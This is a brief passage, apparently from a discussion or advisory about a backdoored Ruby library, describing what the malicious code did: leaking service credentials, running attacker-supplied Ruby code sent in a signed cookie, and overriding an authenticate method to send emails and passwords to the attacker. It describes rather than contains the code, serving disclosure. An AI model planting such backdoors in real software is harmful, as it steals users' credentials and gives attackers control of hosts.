Depending on your set-up this can include credentials of services that you use e.g. database, payment service provider.\r\n It allowed to eval Ruby code on the infected host. Attacker needed to send a signed (using the attacker\u00e2\u20ac\u2122s own key) cookie with the Ruby code to run.\r\n It overloaded the #authenticate method on the Identity class. Every time the method gets called it will send the email/password to the attacker. However I'm unsure which libraries use the Identity class though, maybe someone else knows?"
